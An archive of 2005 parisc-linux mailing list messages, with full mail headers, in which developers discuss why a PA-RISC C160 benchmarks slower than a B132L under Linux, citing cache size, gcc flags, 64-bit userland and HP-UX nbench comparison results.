X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ou1xYyg4eSEkdb6WZHQhaXN1IGRvbwAX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23096

On Wed, Aug 17, 2005 at 12:42:06PM -0600, Kurt Fitzner wrote:
> Now, A doesn't necarily HAVE to follow B here, but I don't think it's a
> totally unreasonable suspicion.  I may be chasing my tail, but at least
> it's something to start with to help me learn the ropes.
> 

Well, seeing as I doubt we'll ever see any PA2.0 CPU ERS (or even 7200?)
then I don't really know what you want to change.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Sharp <andy@netfall.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Wed, 17 Aug 2005 12:40:58 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <20050817194058.GA3378@netfall.com>
References: <4301B090.9040405@excelcia.org>
	<20050817061913.GA8761@colo.lackof.org>
	<430384FE.6080105@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623904 16482 80.91.229.3 (22 Nov 2014 02:38:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 19:41:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 17 Aug 2005 21:41:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C3D4B7D76D;
	Wed, 17 Aug 2005 13:41:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22443-08; Wed, 17 Aug 2005 13:41:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7910D7D771;
	Wed, 17 Aug 2005 13:41:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2883B7D76D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 13:41:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22443-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 13:40:59 -0600 (MDT)
Original-Received: from absharp.com (www.absharp.com [209.157.132.234])
	by free.linux.hp.com (Postfix) with ESMTP id 817067D76C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 13:40:59 -0600 (MDT)
Original-Received: from andy by absharp.com with local (Exim 3.36 #1 (Debian))
	id 1E5TmU-0000th-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 12:40:58 -0700
Content-Disposition: inline
In-Reply-To: <430384FE.6080105@excelcia.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gvdxY4wDeSEkSb6WZHQhaXN1IGRvbwDe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23097

On Wed, Aug 17, 2005 at 12:42:06PM -0600, Kurt Fitzner wrote:
> Grant Grundler wrote:
> 
> > If performance on a C160 is that important, my advice is to dump
> > both boxes and buy any Pentium M (1.x Ghz) laptop :^). But that would
> > be boring... :^P
> 
> Boring indeed. :)
> 
> Actually, my thought is that my little C160 may be simply shedding light
> on a problem that's more global.  The C160 is the slowest PA2.0 machine
> made.  It's one of the few machines where a PA2.0 CPU is in the same
> speed range as PA1.1 CPUs.

It seems like you're answering your own question here.  I'm an
hppa-ignoramus, but the thing that sticks out the most of all this is that
the machines aren't that different in clock rate, but are that different
in cache size.  So stop ignoring that difference.  Cache thrashing is
a real, and sad, international problem.  Take those benchmarks that
produce slower results on a P4/2MB cache processor than they do on a
P4/512KB processor.  Same motherboard, OS, benchmark.  Only difference,
4x bigger cache.  If the processor is spending more time loading cache
lines, it's spending less time computating.  Cache systems are designed to
improve the performance of general computing tasks, and many benchmarks
fall outside that realm.  What's interesting is that some processors
have caches so big that these benchmarks do still fit inside them (8MB,
16MB, etc) and those processors look really good on those benchmarks
(pucker up your lips and say "SPEC"), compared to cheaper, but really
much faster, processors.

And as for the gcc compiler switch differences, it seems that maybe
the 3.3.5 or whatever just isn't that great when it comes to 2.0/8000
optimizations.  Not really a shocker, but good to know, as it makes the
case for taking a similar look at 4.0 and 4.1 performance.  Mayhaps there
is still time to put some changes into gcc 4.x before a final version is
nailed down for etch or ?

I must be getting bored by pentiums.  What's an old, dual
processor parisc/2.0 machine go for on ebay these days?  ~:^)

a

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Wed, 17 Aug 2005 16:38:37 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20050817203836.GJ10459@systemhalted.org>
References: <4301B090.9040405@excelcia.org>
	<20050817061913.GA8761@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623904 16485 80.91.229.3 (22 Nov 2014 02:38:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 20:39:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 17 Aug 2005 22:39:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB2387D76E;
	Wed, 17 Aug 2005 14:38:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22824-10; Wed, 17 Aug 2005 14:38:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1D887D771;
	Wed, 17 Aug 2005 14:38:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6FA8C7D76E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 14:38:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22824-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 14:38:52 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id DB09F7D74F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 14:38:52 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1E5UgI-0002JK-00; Wed, 17 Aug 2005 16:38:38 -0400
Content-Disposition: inline
In-Reply-To: <20050817061913.GA8761@colo.lackof.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (94% Sync Ratio [=========.])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: McVxY8JreSEkZr6WZHQhaXN1IGRvb0AN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23098

On Wed, Aug 17, 2005 at 12:19:13AM -0600, Grant Grundler wrote:
> > Is there any way which someone can help the 64-bit userland effort who
> > is quite strong in system-level programming in general though weak in
> > Linux kernel programming specifically?  Is there a project web site for
> > this effort?
> 
> Just this mailing list. Carlos O'Donell is occasionally hacking at it.
> Sounds like you might be able to help him.

http://wiki.parisc-linux.org/userspace64

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Wed, 17 Aug 2005 23:27:24 -0600
Lines: 77
Approved: news@gmane.org
Message-ID: <43041C3C.2080704@excelcia.org>
References: <4301B090.9040405@excelcia.org>
	<20050817061913.GA8761@colo.lackof.org> <430384FE.6080105@excelcia.org>
	<20050817194058.GA3378@netfall.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623905 16487 80.91.229.3 (22 Nov 2014 02:38:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Aug 2005 05:36:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 18 Aug 2005 07:36:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBBFD7D72E;
	Wed, 17 Aug 2005 23:35:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24863-05; Wed, 17 Aug 2005 23:35:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2F947D6A2;
	Wed, 17 Aug 2005 23:35:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D10D7D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 23:35:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24863-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 23:35:53 -0600 (MDT)
Original-Received: from pd2mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 8EC267D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Aug 2005 23:35:53 -0600 (MDT)
Original-Received: from pd2mr4so.prod.shaw.ca
	(pd2mr4so-qfe3.prod.shaw.ca [10.0.141.107]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0ILE0024EKHPF670@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 17 Aug 2005 23:27:25 -0600 (MDT)
Original-Received: from pn2ml5so.prod.shaw.ca ([10.0.121.149])
	by pd2mr4so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0ILE00IGJKHP2FB0@pd2mr4so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 17 Aug 2005 23:27:25 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0ILE0000NKHPKD@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 17 Aug 2005 23:27:25 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j7I5ROeJ024487	for
	<parisc-linux@lists.parisc-linux.org>; Wed, 17 Aug 2005 23:27:25 -0600
In-reply-to: <20050817194058.GA3378@netfall.com>
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FXt2YyFLeSEkQb6WZHQhaXN1IGRvb8AC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23099

Andrew Sharp wrote:
> So stop ignoring that difference.  Cache thrashing is
> a real, and sad, international problem.  Take those benchmarks that
> produce slower results on a P4/2MB cache processor than they do on a
> P4/512KB processor.  Same motherboard, OS, benchmark.  Only difference,
> 4x bigger cache.  If the processor is spending more time loading cache
> lines, it's spending less time computating.  Cache systems are designed to
> improve the performance of general computing tasks, and many benchmarks
> fall outside that realm.

Andrew Sharp wrote:

Ok, I bit the bullet.  I took an image of the hard drive to restore
later, and installed HPUX.  I then obtained gcc 3.4.3 from the HPUX
software porting archive and recompiled the benchmark with that.  Raw
data is at the end.

Next off, for nbench running on a C160/HPUX I see a memory throughput
increase of 2.67X, integer calc increase of 1.4X, and floating point
increase of 2.24X when compared to the C160/Linux.

The data show exactly the sort of performance increase that I originally
expected to see when comparing a B132L and C160.  Strongly improved
integer and vastly improved memory performance.

The performance issue on my C160/Linux was not due cache line
loading/thrashing.  It's not due to slower memory, nor due to some odd
conflaguration of C160 architecture changes and an old benchmark
program.  I am convinced that there is some problem in Linux - probably
some otherwise minor thing.  Whatever it is, it's sucking performance
from PA8000 systems - and perhaps other PA8x00 ones.

What really locked it in for me that it's an OS issue, aside from the
dramatic results below, is what happened when I changed optimization
switches in HPUX.  I see the exact same 2% drop in performance when I go
from binaries compiled as 1.1/7300 to 2.0/8000 that I saw in Linux.
Same compiler on both OSes producing code that reacts exactly the same
way when optimizations are changed.

I'm convinced - how can I convince the group?  I'm quite willing to give
ssh access to my machines for the results to be verified.  I should be
able to swap between HPUX/Linux fairly quickly now that I have images of
both.

	Kurt.

p.s.  I installed HPUX in 64-bit mode.  Which, so I'm told, should have
decreased my performance.  I'd like to get my C160 running Linux in
64-bit mode, but I can't. :(


------------------------------------------------------------------
TEST                : Iterations/sec.  : Old Index   : New Index
                    :                  : Pentium 90* : AMD K6/233*
--------------------:------------------:-------------:------------
NUMERIC SORT        :           99.68  :       2.56  :       0.84
STRING SORT         :          14.104  :       6.30  :       0.98
BITFIELD            :      2.1599e+07  :       3.70  :       0.77
FP EMULATION        :          8.8339  :       4.24  :       0.98
FOURIER             :          2660.2  :       3.03  :       1.70
ASSIGNMENT          :          1.8832  :       7.17  :       1.86
IDEA                :          116.73  :       1.79  :       0.53
HUFFMAN             :           121.4  :       3.37  :       1.08
NEURAL NET          :            2.81  :       4.51  :       1.90
LU DECOMPOSITION    :           116.6  :       6.04  :       4.36
==================================================================
OS                  : HP-UX B.11.11
C compiler          : gcc version 3.4.3
MEMORY INDEX        : 1.120
INTEGER INDEX       : 0.827
FLOATING-POINT INDEX: 2.414
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Thu, 18 Aug 2005 01:17:56 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20050818071756.GA27345@colo.lackof.org>
References: <4301B090.9040405@excelcia.org>
	<20050817061913.GA8761@colo.lackof.org>
	<430384FE.6080105@excelcia.org> <20050817194058.GA3378@netfall.com>
	<43041C3C.2080704@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623905 16491 80.91.229.3 (22 Nov 2014 02:38:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Aug 2005 07:12:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 18 Aug 2005 09:12:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E21B7D70F;
	Thu, 18 Aug 2005 01:12:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25665-07; Thu, 18 Aug 2005 01:12:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CA7F7D706;
	Thu, 18 Aug 2005 01:12:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 847BD7D6FE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 01:12:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25665-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 01:12:29 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id EBCFA7D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 01:12:28 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 597D4360065;
	Thu, 18 Aug 2005 01:17:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26965-08; Thu, 18 Aug 2005 01:17:57 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id ED2E6360055; Thu, 18 Aug 2005 01:17:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <43041C3C.2080704@excelcia.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: s1F2Y+Q0eSEkYb6WZHQhaXN1IGRvb0An
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23100

On Wed, Aug 17, 2005 at 11:27:24PM -0600, Kurt Fitzner wrote:
> p.s.  I installed HPUX in 64-bit mode.  Which, so I'm told, should have
> decreased my performance.  I'd like to get my C160 running Linux in
> 64-bit mode, but I can't. :(

Sure you can. recent 64-bit kernels will boot on C160.
It's just not an obvious win in most cases.

I need to think about your other comments.
parisc-linux is less than optimal for cache behavior.
Especially kernels that predate 2.6.10-ish timeframe where
James Bottomley fixed up some of the worst offenses.

But if it's an OS problem (it could be), running lmbench
on both HPUX and parisc-linux might shed light on where
the issue is.

thanks for posting the HPUX NBench results.

grant
_______________________________________________
